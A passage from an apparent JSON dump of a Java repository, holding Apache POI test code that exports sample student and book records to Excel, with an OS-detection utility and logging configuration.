{\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (IllegalArgumentException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (IllegalAccessException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (InvocationTargetException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} finally {\n\t\t\t\t\t// 清理资源\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\ttry {\n\t\t\tworkbook.write(out);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void test(String imagesPath, String docsPath) {\n\t\t// 测试学生\n\t\tExportExcel<Student> ex = new ExportExcel<Student>();\n\t\tString[] headers = { \"学号\", \"姓名\", \"年龄\", \"性别\", \"出生日期\" };\n\t\tList<Student> dataset = new ArrayList<Student>();\n\t\tdataset.add(new Student(10000001, \"张三\", 20, true, new Date()));\n\t\tdataset.add(new Student(20000002, \"李四\", 24, false, new Date()));\n\t\tdataset.add(new Student(30000003, \"王五\", 22, true, new Date()));\n\t\t// 测试图书\n\t\tExportExcel<Book> ex2 = new ExportExcel<Book>();\n\t\tString[] headers2 = { \"图书编号\", \"图书名称\", \"图书作者\", \"图书价格\", \"图书ISBN\",\n\t\t\t\t\"图书出版社\", \"封面图片\" };\n\t\tList<Book> dataset2 = new ArrayList<Book>();\n\t\ttry {\n\t\t\tBufferedInputStream bis = new BufferedInputStream(\n\t\t\t\t\tnew FileInputStream(imagesPath + FILE_SEPARATOR\n\t\t\t\t\t\t\t+ \"book.png\"));\n\t\t\tbyte[] buf = new byte[bis.available()];\n\t\t\twhile ((bis.read(buf)) != -1) {\n\t\t\t\t//\n\t\t\t}\n\t\t\tdataset2.add(new Book(1, \"jsp\", \"leno\", 300.33f, \"1234567\",\n\t\t\t\t\t\"清华出版社\", buf));\n\t\t\tdataset2.add(new Book(2, \"java编程思想\", \"brucl\", 300.33f, \"1234567\",\n\t\t\t\t\t\"阳光出版社\", buf));\n\t\t\tdataset2.add(new Book(3, \"DOM艺术\", \"lenotang\", 300.33f, \"1234567\",\n\t\t\t\t\t\"清华出版社\", buf));\n\t\t\tdataset2.add(new Book(4, \"c++经典\", \"leno\", 400.33f, \"1234567\",\n\t\t\t\t\t\"清华出版社\", buf));\n\t\t\tdataset2.add(new Book(5, \"c#入门\", \"leno\", 300.33f, \"1234567\",\n\t\t\t\t\t\"汤春秀出版社\", buf));\n\t\t\tOutputStream out = new FileOutputStream(docsPath + FILE_SEPARATOR\n\t\t\t\t\t+ \"export2003_a.xls\");\n\t\t\tOutputStream out2 = new FileOutputStream(docsPath + FILE_SEPARATOR\n\t\t\t\t\t+ \"export2003_b.xls\");\n\t\t\tex.exportExcel(headers, dataset, out);\n\t\t\tex2.exportExcel(headers2, dataset2, out2);\n\t\t\tout.close();\n\t\t\tJOptionPane.showMessageDialog(null, \"导出成功!\");\n\t\t\tSystem.out.println(\"excel导出成功！\");\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/testExport/Student.java",
    "content": "package com.jun.plugin.poi.testExport;\n\nimport java.util.Date;\n\npublic class Student {\n\tprivate long id;\n\tprivate String name;\n\tprivate int age;\n\tprivate boolean sex;\n\tprivate Date birthday;\n\n\tpublic Student() {\n\t}\n\n\tpublic Student(long id, String name, int age, boolean sex, Date birthday) {\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t\tthis.age = age;\n\t\tthis.sex = sex;\n\t\tthis.birthday = birthday;\n\t}\n\n\tpublic long getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(long id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\tpublic int getAge() {\n\t\treturn age;\n\t}\n\n\tpublic void setAge(int age) {\n\t\tthis.age = age;\n\t}\n\n\tpublic boolean getSex() {\n\t\treturn sex;\n\t}\n\n\tpublic void setSex(boolean sex) {\n\t\tthis.sex = sex;\n\t}\n\n\tpublic Date getBirthday() {\n\t\treturn birthday;\n\t}\n\n\tpublic void setBirthday(Date birthday) {\n\t\tthis.birthday = birthday;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/testExport/TestExportExcel.java",
    "content": "package com.jun.plugin.poi.testExport;\n\nimport java.io.BufferedInputStream;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Date;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport javax.swing.JOptionPane;\n\nimport org.apache.poi.hssf.usermodel.HSSFCell;\nimport org.apache.poi.hssf.usermodel.HSSFCellStyle;\nimport org.apache.poi.hssf.usermodel.HSSFClientAnchor;\nimport org.apache.poi.hssf.usermodel.HSSFComment;\nimport org.apache.poi.hssf.usermodel.HSSFFont;\nimport org.apache.poi.hssf.usermodel.HSSFPatriarch;\nimport org.apache.poi.hssf.usermodel.HSSFRichTextString;\nimport org.apache.poi.hssf.usermodel.HSSFRow;\nimport org.apache.poi.hssf.usermodel.HSSFSheet;\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.hssf.util.HSSFColor;\nimport org.apache.poi.ss.usermodel.ClientAnchor.AnchorType;\n\n/**\n * 利用开源组件POI3.0.2动态导出EXCEL文档 转载时请保留以下信息，注明出处！\n * \n * @author Wujun\n * @version v1.0\n * @param <T>\n *            应用泛型，代表任意一个符合javabean风格的类\n *            注意这里为了简单起见，boolean型的属性xxx的get器方式为getXxx(),而不是isXxx()\n *            byte[]表jpg格式的图片数据\n */\npublic class TestExportExcel<T> {\n\tpublic void exportExcel(Collection<T> dataset, OutputStream out) {\n\t\texportExcel(\"测试POI导出EXCEL文档\", null, dataset, out, \"yyyy-MM-dd\");\n\t}\n\n\tpublic void exportExcel(String[] headers, Collection<T> dataset,\n\t\t\tOutputStream out) {\n\t\texportExcel(\"测试POI导出EXCEL文档\", headers, dataset, out, \"yyyy-MM-dd\");\n\t}\n\n\tpublic void exportExcel(String[] headers, Collection<T> dataset,\n\t\t\tOutputStream out, String pattern) {\n\t\texportExcel(\"测试POI导出EXCEL文档\", headers, dataset, out, pattern);\n\t}\n\n\t/**\n\t * 这是一个通用的方法，利用了JAVA的反射机制，可以将放置在JAVA集合中并且符号一定条件的数据以EXCEL 的形式输出到指定IO设备上\n\t * \n\t * @param title\n\t *            表格标题名\n\t * @param headers\n\t *            表格属性列名数组\n\t * @param dataset\n\t *            需要显示的数据集合,集合中一定要放置符合javabean风格的类的对象。此方法支持的\n\t *            javabean属性的数据类型有基本数据类型及String,Date,byte[](图片数据)\n\t * @param out\n\t *            与输出设备关联的流对象，可以将EXCEL文档导出到本地文件或者网络中\n\t * @param pattern\n\t *            如果有时间数据，设定输出格式。默认为\"yyy-MM-dd\"\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic void exportExcel(String title, String[] headers,\n\t\t\tCollection<T> dataset, OutputStream out, String pattern) {\n\t\t// 声明一个工作薄\n\t\tHSSFWorkbook workbook = new HSSFWorkbook();\n\t\t// 生成一个表格\n\t\tHSSFSheet sheet = workbook.createSheet(title);\n\t\t// 设置表格默认列宽度为15个字节\n\t\tsheet.setDefaultColumnWidth((short) 15);\n\t\t// 生成一个样式\n\t\tHSSFCellStyle style = workbook.createCellStyle();\n\t\t// 设置这些样式\n\t\tstyle.setFillForegroundColor(HSSFColor.SKY_BLUE.index);\n\t\tstyle.setFillPattern(HSSFCellStyle.SOLID_FOREGROUND);\n\t\tstyle.setBorderBottom(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setBorderLeft(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setBorderRight(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setBorderTop(HSSFCellStyle.BORDER_THIN);\n\t\tstyle.setAlignment(HSSFCellStyle.ALIGN_CENTER);\n\t\t// 生成一个字体\n\t\tHSSFFont font = workbook.createFont();\n\t\tfont.setColor(HSSFColor.VIOLET.index);\n\t\tfont.setFontHeightInPoints((short) 12);\n\t\tfont.setBoldweight(HSSFFont.BOLDWEIGHT_BOLD);\n\t\t// 把字体应用到当前的样式\n\t\tstyle.setFont(font);\n\t\t// 生成并设置另一个样式\n\t\tHSSFCellStyle style2 = workbook.createCellStyle();\n\t\tstyle2.setFillForegroundColor(HSSFColor.LIGHT_YELLOW.index);\n\t\tstyle2.setFillPattern(HSSFCellStyle.SOLID_FOREGROUND);\n\t\tstyle2.setBorderBottom(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setBorderLeft(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setBorderRight(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setBorderTop(HSSFCellStyle.BORDER_THIN);\n\t\tstyle2.setAlignment(HSSFCellStyle.ALIGN_CENTER);\n\t\tstyle2.setVerticalAlignment(HSSFCellStyle.VERTICAL_CENTER);\n\t\t// 生成另一个字体\n\t\tHSSFFont font2 = workbook.createFont();\n\t\tfont2.setBoldweight(HSSFFont.BOLDWEIGHT_NORMAL);\n\t\t// 把字体应用到当前的样式\n\t\tstyle2.setFont(font2);\n\t\t// 声明一个画图的顶级管理器\n\t\tHSSFPatriarch patriarch = sheet.createDrawingPatriarch();\n\t\t// 定义注释的大小和位置,详见文档\n\t\tHSSFComment comment = patriarch.createComment(new HSSFClientAnchor(0,\n\t\t\t\t0, 0, 0, (short) 4, 2, (short) 6, 5));\n\t\t// 设置注释内容\n\t\tcomment.setString(new HSSFRichTextString(\"可以在POI中添加注释！\"));\n\t\t// 设置注释作者，当鼠标移动到单元格上是可以在状态栏中看到该内容.\n\t\tcomment.setAuthor(\"leno\");\n\t\t// 产生表格标题行\n\t\tHSSFRow row = sheet.createRow(0);\n\t\tfor (short i = 0; i < headers.length; i++) {\n\t\t\tHSSFCell cell = row.createCell(i);\n\t\t\tcell.setCellStyle(style);\n\t\t\tHSSFRichTextString text = new HSSFRichTextString(headers[i]);\n\t\t\tcell.setCellValue(text);\n\t\t}\n\t\t// 遍历集合数据，产生数据行\n\t\tIterator<T> it = dataset.iterator();\n\t\tint index = 0;\n\t\twhile (it.hasNext()) {\n\t\t\tindex++;\n\t\t\trow = sheet.createRow(index);\n\t\t\tT t = (T) it.next();\n\t\t\t// 利用反射，根据javabean属性的先后顺序，动态调用getXxx()方法得到属性值\n\t\t\tField[] fields = t.getClass().getDeclaredFields();\n\t\t\tfor (short i = 0; i < fields.length; i++) {\n\t\t\t\tHSSFCell cell = row.createCell(i);\n\t\t\t\tcell.setCellStyle(style2);\n\t\t\t\tField field = fields[i];\n\t\t\t\tString fieldName = field.getName();\n\t\t\t\tString getMethodName = \"get\"\n\t\t\t\t\t\t+ fieldName.substring(0, 1).toUpperCase()\n\t\t\t\t\t\t+ fieldName.substring(1);\n\t\t\t\ttry {\n\t\t\t\t\tClass tCls = t.getClass();\n\t\t\t\t\tMethod getMethod = tCls.getMethod(getMethodName,\n\t\t\t\t\t\t\tnew Class[] {});\n\t\t\t\t\tObject value = getMethod.invoke(t, new Object[] {});\n\t\t\t\t\t// 判断值的类型后进行强制类型转换\n\t\t\t\t\tString textValue = null;\n\t\t\t\t\t// if (value instanceof Integer) {\n\t\t\t\t\t// int intValue = (Integer) value;\n\t\t\t\t\t// cell.setCellValue(intValue);\n\t\t\t\t\t// } else if (value instanceof Float) {\n\t\t\t\t\t// float fValue = (Float) value;\n\t\t\t\t\t// textValue = new HSSFRichTextString(\n\t\t\t\t\t// String.valueOf(fValue));\n\t\t\t\t\t// cell.setCellValue(textValue);\n\t\t\t\t\t// } else if (value instanceof Double) {\n\t\t\t\t\t// double dValue = (Double) value;\n\t\t\t\t\t// textValue = new HSSFRichTextString(\n\t\t\t\t\t// String.valueOf(dValue));\n\t\t\t\t\t// cell.setCellValue(textValue);\n\t\t\t\t\t// } else if (value instanceof Long) {\n\t\t\t\t\t// long longValue = (Long) value;\n\t\t\t\t\t// cell.setCellValue(longValue);\n\t\t\t\t\t// }\n\t\t\t\t\tif (value instanceof Boolean) {\n\t\t\t\t\t\tboolean bValue = (Boolean) value;\n\t\t\t\t\t\ttextValue = \"男\";\n\t\t\t\t\t\tif (!bValue) {\n\t\t\t\t\t\t\ttextValue = \"女\";\n\t\t\t\t\t\t}\n\t\t\t\t\t} else if (value instanceof Date) {\n\t\t\t\t\t\tDate date = (Date) value;\n\t\t\t\t\t\tSimpleDateFormat sdf = new SimpleDateFormat(pattern);\n\t\t\t\t\t\ttextValue = sdf.format(date);\n\t\t\t\t\t} else if (value instanceof byte[]) {\n\t\t\t\t\t\t// 有图片时，设置行高为60px;\n\t\t\t\t\t\trow.setHeightInPoints(60);\n\t\t\t\t\t\t// 设置图片所在列宽度为80px,注意这里单位的一个换算\n\t\t\t\t\t\tsheet.setColumnWidth(i, (short) (35.7 * 80));\n\t\t\t\t\t\t// sheet.autoSizeColumn(i);\n\t\t\t\t\t\tbyte[] bsValue = (byte[]) value;\n\t\t\t\t\t\tHSSFClientAnchor anchor = new HSSFClientAnchor(0, 0,\n\t\t\t\t\t\t\t\t1023, 255, (short) 6, index, (short) 6, index);\n\t\t\t\t\t\tanchor.setAnchorType(null);\n//\t\t\t\t\t\tanchor.setAnchorType(2);\n\t\t\t\t\t\tpatriarch.createPicture(anchor, workbook.addPicture(\n\t\t\t\t\t\t\t\tbsValue, HSSFWorkbook.PICTURE_TYPE_JPEG));\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// 其它数据类型都当作字符串简单处理\n\t\t\t\t\t\ttextValue = value.toString();\n\t\t\t\t\t}\n\t\t\t\t\t// 如果不是图片数据，就利用正则表达式判断textValue是否全部由数字组成\n\t\t\t\t\tif (textValue != null) {\n\t\t\t\t\t\tPattern p = Pattern.compile(\"^//d+(//.//d+)?$\");\n\t\t\t\t\t\tMatcher matcher = p.matcher(textValue);\n\t\t\t\t\t\tif (matcher.matches()) {\n\t\t\t\t\t\t\t// 是数字当作double处理\n\t\t\t\t\t\t\tcell.setCellValue(Double.parseDouble(textValue));\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tHSSFRichTextString richString = new HSSFRichTextString(\n\t\t\t\t\t\t\t\t\ttextValue);\n\t\t\t\t\t\t\tHSSFFont font3 = workbook.createFont();\n\t\t\t\t\t\t\tfont3.setColor(HSSFColor.BLUE.index);\n\t\t\t\t\t\t\trichString.applyFont(font3);\n\t\t\t\t\t\t\tcell.setCellValue(richString);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} catch (SecurityException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (NoSuchMethodException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (IllegalArgumentException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (IllegalAccessException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} catch (InvocationTargetException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t} finally {\n\t\t\t\t\t// 清理资源\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\ttry {\n\t\t\tworkbook.write(out);\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\t// 测试学生\n\t\tExportExcel<Student> ex = new ExportExcel<Student>();\n\t\tString[] headers = { \"学号\", \"姓名\", \"年龄\", \"性别\", \"出生日期\" };\n\t\tList<Student> dataset = new ArrayList<Student>();\n\t\tdataset.add(new Student(10000001, \"张三\", 20, true, new Date()));\n\t\tdataset.add(new Student(20000002, \"李四\", 24, false, new Date()));\n\t\tdataset.add(new Student(30000003, \"王五\", 22, true, new Date()));\n\t\t// 测试图书\n\t\tExportExcel<Book> ex2 = new ExportExcel<Book>();\n\t\tString[] headers2 = { \"图书编号\", \"图书名称\", \"图书作者\", \"图书价格\", \"图书ISBN\",\n\t\t\t\t\"图书出版社\", \"封面图片\" };\n\t\tList<Book> dataset2 = new ArrayList<Book>();\n\t\ttry {\n\t\t\t// BufferedInputStream bis = new BufferedInputStream(\n\t\t\t// new FileInputStream(\"V://book.bmp\"));\n\t\t\tBufferedInputStream bis = new BufferedInputStream(\n\t\t\t\t\tnew FileInputStream(\"/home/book.bmp\"));\n\t\t\tbyte[] buf = new byte[bis.available()];\n\t\t\twhile ((bis.read(buf)) != -1) {\n\t\t\t\t//\n\t\t\t}\n\t\t\tdataset2.add(new Book(1, \"jsp\", \"leno\", 300.33f, \"1234567\",\n\t\t\t\t\t\"清华出版社\", buf));\n\t\t\tdataset2.add(new Book(2, \"java编程思想\", \"brucl\", 300.33f, \"1234567\",\n\t\t\t\t\t\"阳光出版社\", buf));\n\t\t\tdataset2.add(new Book(3, \"DOM艺术\", \"lenotang\", 300.33f, \"1234567\",\n\t\t\t\t\t\"清华出版社\", buf));\n\t\t\tdataset2.add(new Book(4, \"c++经典\", \"leno\", 400.33f, \"1234567\",\n\t\t\t\t\t\"清华出版社\", buf));\n\t\t\tdataset2.add(new Book(5, \"c#入门\", \"leno\", 300.33f, \"1234567\",\n\t\t\t\t\t\"汤春秀出版社\", buf));\n\t\t\t// OutputStream out = new FileOutputStream(\"E://export2003_a.xls\");\n\t\t\t// OutputStream out2 = new FileOutputStream(\"E://export2003_b.xls\");\n\t\t\tOutputStream out = new FileOutputStream(\"/home/export2003_a.xls\");\n\t\t\tOutputStream out2 = new FileOutputStream(\"/home/export2003_b.xls\");\n\t\t\tex.exportExcel(headers, dataset, out);\n\t\t\tex2.exportExcel(headers2, dataset2, out2);\n\t\t\tout.close();\n\t\t\tJOptionPane.showMessageDialog(null, \"导出成功!\");\n\t\t\tSystem.out.println(\"excel导出成功！\");\n\t\t} catch (FileNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/testExport/TestExportExcel2007.java",
    "content": "package com.jun.plugin.poi.testExport;\n\nimport java.io.FileOutputStream;\nimport java.io.OutputStream;\n\nimport org.apache.poi.xssf.usermodel.XSSFRow;\nimport org.apache.poi.xssf.usermodel.XSSFSheet;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\npublic class TestExportExcel2007 {\n\tprivate static void createEXCEL() {\n\t\ttry {\n\t\t\t// 输出流\n\t\t\tOutputStream os = new FileOutputStream(\"D:/export2007_\"\n\t\t\t\t\t+ System.currentTimeMillis() + \".xlsx\");\n\t\t\t// 工作区\n\t\t\tXSSFWorkbook wb = new XSSFWorkbook();\n\t\t\tXSSFSheet sheet = wb.createSheet(\"test\");\n\t\t\tfor (int i = 0; i < 1000; i++) {\n\t\t\t\t// 创建第一个sheet\n\t\t\t\t// 生成第一行\n\t\t\t\tXSSFRow row = sheet.createRow(i);\n\t\t\t\t// 给这一行的第一列赋值\n\t\t\t\trow.createCell(0).setCellValue(\"column1\");\n\t\t\t\t// 给这一行的第一列赋值\n\t\t\t\trow.createCell(1).setCellValue(\"column2\");\n\t\t\t\tSystem.out.println(i);\n\t\t\t}\n\t\t\t// 写文件\n\t\t\twb.write(os);\n\t\t\t// 关闭输出流\n\t\t\tos.close();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tTestExportExcel2007.createEXCEL();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/util/EPlatform.java",
    "content": "package com.jun.plugin.poi.util;\n\npublic enum EPlatform {\n    Any(\"any\"),\n    Linux(\"Linux\"),\n    Mac_OS(\"Mac OS\"),\n    Mac_OS_X(\"Mac OS X\"),\n    Windows(\"Windows\"),\n    OS2(\"OS/2\"),\n    Solaris(\"Solaris\"),\n    SunOS(\"SunOS\"),\n    MPEiX(\"MPE/iX\"),\n    HP_UX(\"HP-UX\"),\n    AIX(\"AIX\"),\n    OS390(\"OS/390\"),\n    FreeBSD(\"FreeBSD\"),\n    Irix(\"Irix\"),\n    Digital_Unix(\"Digital Unix\"),\n    NetWare_411(\"NetWare\"),\n    OSF1(\"OSF1\"),\n    OpenVMS(\"OpenVMS\"),\n    Others(\"Others\");\n \nprivate EPlatform(String desc){\n   this.description = desc;\n}\n \npublic String toString(){\n   return description;\n}\n \nprivate String description;\n} "
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/util/OSinfo.java",
    "content": "package com.jun.plugin.poi.util;\n\nimport java.io.File;\n\npublic class OSinfo {\n\tprivate static String OS = System.getProperty(\"os.name\").toLowerCase();\n\tprivate static OSinfo _instance = new OSinfo();\n\tprivate EPlatform platform;\n\n\tprivate OSinfo() {\n\t}\n\n\tpublic static boolean isLinux() {\n\t\treturn OS.indexOf(\"linux\") >= 0;\n\t}\n\n\tpublic static boolean isMacOS() {\n\t\treturn OS.indexOf(\"mac\") >= 0 && OS.indexOf(\"os\") > 0\n\t\t\t\t&& OS.indexOf(\"x\") < 0;\n\t}\n\n\tpublic static boolean isMacOSX() {\n\t\treturn OS.indexOf(\"mac\") >= 0 && OS.indexOf(\"os\") > 0\n\t\t\t\t&& OS.indexOf(\"x\") > 0;\n\t}\n\n\tpublic static boolean isWindows() {\n\t\treturn OS.indexOf(\"windows\") >= 0;\n\t}\n\n\tpublic static boolean isOS2() {\n\t\treturn OS.indexOf(\"os/2\") >= 0;\n\t}\n\n\tpublic static boolean isSolaris() {\n\t\treturn OS.indexOf(\"solaris\") >= 0;\n\t}\n\n\tpublic static boolean isSunOS() {\n\t\treturn OS.indexOf(\"sunos\") >= 0;\n\t}\n\n\tpublic static boolean isMPEiX() {\n\t\treturn OS.indexOf(\"mpe/ix\") >= 0;\n\t}\n\n\tpublic static boolean isHPUX() {\n\t\treturn OS.indexOf(\"hp-ux\") >= 0;\n\t}\n\n\tpublic static boolean isAix() {\n\t\treturn OS.indexOf(\"aix\") >= 0;\n\t}\n\n\tpublic static boolean isOS390() {\n\t\treturn OS.indexOf(\"os/390\") >= 0;\n\t}\n\n\tpublic static boolean isFreeBSD() {\n\t\treturn OS.indexOf(\"freebsd\") >= 0;\n\t}\n\n\tpublic static boolean isIrix() {\n\t\treturn OS.indexOf(\"irix\") >= 0;\n\t}\n\n\tpublic static boolean isDigitalUnix() {\n\t\treturn OS.indexOf(\"digital\") >= 0 && OS.indexOf(\"unix\") > 0;\n\t}\n\n\tpublic static boolean isNetWare() {\n\t\treturn OS.indexOf(\"netware\") >= 0;\n\t}\n\n\tpublic static boolean isOSF1() {\n\t\treturn OS.indexOf(\"osf1\") >= 0;\n\t}\n\n\tpublic static boolean isOpenVMS() {\n\t\treturn OS.indexOf(\"openvms\") >= 0;\n\t}\n\n\t/**\n\t * 获取操作系统名字\n\t * \n\t * @return 操作系统名\n\t */\n\tpublic static EPlatform getOSname() {\n\t\tif (isAix()) {\n\t\t\t_instance.platform = EPlatform.AIX;\n\t\t} else if (isDigitalUnix()) {\n\t\t\t_instance.platform = EPlatform.Digital_Unix;\n\t\t} else if (isFreeBSD()) {\n\t\t\t_instance.platform = EPlatform.FreeBSD;\n\t\t} else if (isHPUX()) {\n\t\t\t_instance.platform = EPlatform.HP_UX;\n\t\t} else if (isIrix()) {\n\t\t\t_instance.platform = EPlatform.Irix;\n\t\t} else if (isLinux()) {\n\t\t\t_instance.platform = EPlatform.Linux;\n\t\t} else if (isMacOS()) {\n\t\t\t_instance.platform = EPlatform.Mac_OS;\n\t\t} else if (isMacOSX()) {\n\t\t\t_instance.platform = EPlatform.Mac_OS_X;\n\t\t} else if (isMPEiX()) {\n\t\t\t_instance.platform = EPlatform.MPEiX;\n\t\t} else if (isNetWare()) {\n\t\t\t_instance.platform = EPlatform.NetWare_411;\n\t\t} else if (isOpenVMS()) {\n\t\t\t_instance.platform = EPlatform.OpenVMS;\n\t\t} else if (isOS2()) {\n\t\t\t_instance.platform = EPlatform.OS2;\n\t\t} else if (isOS390()) {\n\t\t\t_instance.platform = EPlatform.OS390;\n\t\t} else if (isOSF1()) {\n\t\t\t_instance.platform = EPlatform.OSF1;\n\t\t} else if (isSolaris()) {\n\t\t\t_instance.platform = EPlatform.Solaris;\n\t\t} else if (isSunOS()) {\n\t\t\t_instance.platform = EPlatform.SunOS;\n\t\t} else if (isWindows()) {\n\t\t\t_instance.platform = EPlatform.Windows;\n\t\t} else {\n\t\t\t_instance.platform = EPlatform.Others;\n\t\t}\n\t\treturn _instance.platform;\n\t}\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(OSinfo.getOSname());\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/core.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<cp:coreProperties xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"><dc:creator></dc:creator><cp:lastModifiedBy></cp:lastModifiedBy><dcterms:created xsi:type=\"dcterms:W3CDTF\">2006-09-16T00:00:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">2015-06-30T07:15:49Z</dcterms:modified></cp:coreProperties>"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/resources/logback.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<configuration scan=\"true\" scanPeriod=\"30 seconds\" debug=\"false\">\n\t<property name=\"log.base\" value=\"logs\" />\n\t<property name=\"log.proj\" value=\"app\" />\n\t<property name=\"logPattern\" value=\"%date|%thread|%X{uid}|%X{url}|%level{8}|%logger{60}:%line|%msg %ex ------%n\"></property>\n\n\t<appender name=\"stdoutAppender\" class=\"ch.qos.logback.core.ConsoleAppender\">\n\t\t<encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n\t\t\t<pattern>${logPattern}</pattern>\n\t\t</encoder>\n\t</appender> \n\n\t<!-- error log -->\n\t<appender name=\"errorAppender\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<File>${log.base}/${log.proj}-error.log</File>\n\t\t<filter class=\"ch.qos.logback.classic.filter.LevelFilter\">\n\t\t\t<level>ERROR</level>\n\t\t\t<onMatch>ACCEPT</onMatch>\n\t\t\t<onMismatch>DENY</onMismatch>\n\t\t</filter>\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<FileNamePattern>${log.base}/${log.proj}-error_%d{yyyy-MM-dd}-%i.log</FileNamePattern>\n\t\t\t<maxHistory>30</maxHistory>\n\t\t\t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n\t\t\t\t<maxFileSize>200MB</maxFileSize>\n\t\t\t</timeBasedFileNamingAndTriggeringPolicy>\n\t\t</rollingPolicy>\n\t\t<encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n\t\t\t<pattern>${logPattern}</pattern>\n\t\t</encoder>\n\t</appender>\n\n\t<appender name=\"asyncErrorAppender\" class=\"ch.qos.logback.classic.AsyncAppender\">\n\t\t<discardingThreshold>0</discardingThreshold>\n\t\t<queueSize>1024</queueSize>\n\t\t<appender-ref ref=\"errorAppender\" />\n\t</appender>\n\n\t<!-- common log -->\n\t<appender name=\"commonAppender\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<File>${log.base}/${log.proj}.log</File>\n\t\t<rollingPolicy class=\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\">\n\t\t\t<FileNamePattern>${log.base}/${log.proj}_%d{yyyy-MM-dd}-%i.log</FileNamePattern>\n\t\t\t<maxHistory>30</maxHistory>\n\t\t\t<timeBasedFileNamingAndTriggeringPolicy class=\"ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP\">\n\t\t\t\t<maxFileSize>200MB</maxFileSize>\n\t\t\t</timeBasedFileNamingAndTriggeringPolicy>\n\t\t</rollingPolicy>\n\t\t<encoder class=\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\">\n\t\t\t<pattern>${logPattern}</pattern>\n\t\t</encoder>\n\t</appender>\n\n\t<appender name=\"asyncCommonAppender\" class=\"ch.qos.logback.classic.AsyncAppender\">\n\t\t<discardingThreshold>0</discardingThreshold>\n\t\t<queueSize>1024</queueSize>\n\t\t<appender-ref ref=\"commonAppender\" />\n\t</appender>\n\n\t<!-- trace log -->\n\t<appender name=\"traceAppender\" class=\"ch.qos.logback.core.rolling.RollingFileAppender\">\n\t\t<File>${log.base}/trace.log</File>\n\t\t<rollingPolicy 